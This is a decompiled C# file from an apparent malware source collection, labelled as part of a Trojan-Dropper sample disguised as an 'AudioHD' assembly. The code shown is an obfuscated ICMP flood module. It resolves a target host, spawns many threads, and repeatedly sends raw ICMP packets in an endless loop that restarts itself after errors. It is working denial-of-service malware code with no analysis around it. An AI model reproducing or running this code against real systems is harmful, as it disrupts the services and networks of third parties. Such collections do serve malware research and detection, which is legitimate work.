MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024/_0008/_0003.cs
2022-08-18 06:28:56 -05:00

128 lines
3.6 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
using \u0008;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
namespace \u0008
{
internal sealed class \u0003
{
private static ThreadStart[] \u0001;
private static Thread[] \u0001;
public static string \u0001;
public static int \u0001;
private static IPEndPoint \u0001;
public static int \u0002;
private static \u0003.\u0001[] \u0001;
public static int \u0003;
public static bool \u0001 = false;
public static void \u000F()
{
try
{
\u0003.\u0001 = new IPEndPoint(Dns.GetHostEntry(\u0003.\u0001).AddressList[0], 0);
}
catch
{
\u0003.\u0001 = new IPEndPoint(IPAddress.Parse(\u0003.\u0001), 0);
}
\u0003.\u0001 = new Thread[\u0003.\u0003];
\u0003.\u0001 = new ThreadStart[\u0003.\u0003];
\u0003.\u0001 = new \u0003.\u0001[\u0003.\u0003];
for (int index = 0; index < \u0003.\u0003; ++index)
{
\u0003.\u0001[index] = new \u0003.\u0001(\u0003.\u0001, \u0003.\u0001, \u0003.\u0002);
\u0003.\u0001[index] = new ThreadStart(\u0003.\u0001[index].\u000F);
\u0003.\u0001[index] = new Thread(\u0003.\u0001[index]);
\u0003.\u0001[index].Start();
}
\u0003.\u0001 = true;
}
public static void \u0010()
{
for (int index = 0; index < \u0003.\u0003; ++index)
{
try
{
\u0003.\u0001[index].Abort();
\u0003.\u0001[index].Join();
}
catch
{
\u0003.\u0001 = false;
}
}
\u0003.\u0001 = false;
}
private sealed class \u0001
{
private int \u0001;
private IPEndPoint \u0001;
private int \u0002;
private Socket[] \u0001;
public \u0001([In] IPEndPoint obj0, [In] int obj1, [In] int obj2)
{
this.\u0001 = obj0;
this.\u0001 = obj1;
this.\u0002 = obj2;
}
public void \u000F()
{
byte[] buffer = new byte[this.\u0002];
label_1:
try
{
while (true)
{
this.\u0001 = new Socket[this.\u0001];
for (int index = 0; index < this.\u0001; ++index)
{
this.\u0001[index] = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);
this.\u0001[index].Blocking = false;
this.\u0001[index].SendTo(buffer, (EndPoint) this.\u0001);
}
Thread.Sleep(100);
for (int index = 0; index < this.\u0001; ++index)
{
if (this.\u0001[index].Connected)
this.\u0001[index].Disconnect(false);
this.\u0001[index].Close();
this.\u0001[index] = (Socket) null;
}
this.\u0001 = (Socket[]) null;
}
}
catch
{
for (int index = 0; index < this.\u0001; ++index)
{
try
{
if (this.\u0001[index].Connected)
this.\u0001[index].Disconnect(false);
this.\u0001[index].Close();
this.\u0001[index] = (Socket) null;
}
catch
{
}
}
goto label_1;
}
}
}
}
}